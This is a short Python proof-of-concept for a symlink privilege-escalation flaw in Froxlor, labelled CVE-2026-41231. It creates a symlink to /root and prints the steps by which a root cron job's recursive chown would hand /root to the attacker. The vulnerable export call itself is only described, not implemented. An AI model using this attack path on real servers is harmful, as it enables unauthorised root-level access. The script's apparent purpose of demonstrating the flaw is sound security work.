# PoC for CVE-2026-41231: Symlink Privilege Escalation in Froxlor # This script demonstrates the concept of the vulnerability. import os # 1. The attacker creates a malicious symlink pointing to a sensitive directory target_dir = "/root" # Target directory to own symlink_name = "malicious_export_link" print(f"[*] Creating symlink {symlink_name} -> {target_dir}") try: # In a real scenario, this would be done via the application's interface # triggering the vulnerable DataDump.add() logic. os.symlink(target_dir, symlink_name) print("[+] Symlink created successfully.") except OSError as e: print(f"[-] Error creating symlink: {e}") # 2. Trigger the vulnerability # The attacker specifies the crafted path in the export functionality. print("[*] Triggering DataDump export via vulnerable API...") # 3. Privilege Escalation occurs when ExportCron runs # The cron job (as root) executes: chown -R <attacker_user> <symlink_target> print("[*] Waiting for ExportCron (root) to process the request...") print("[+] If exploited, /root is now owned by the attacker.")
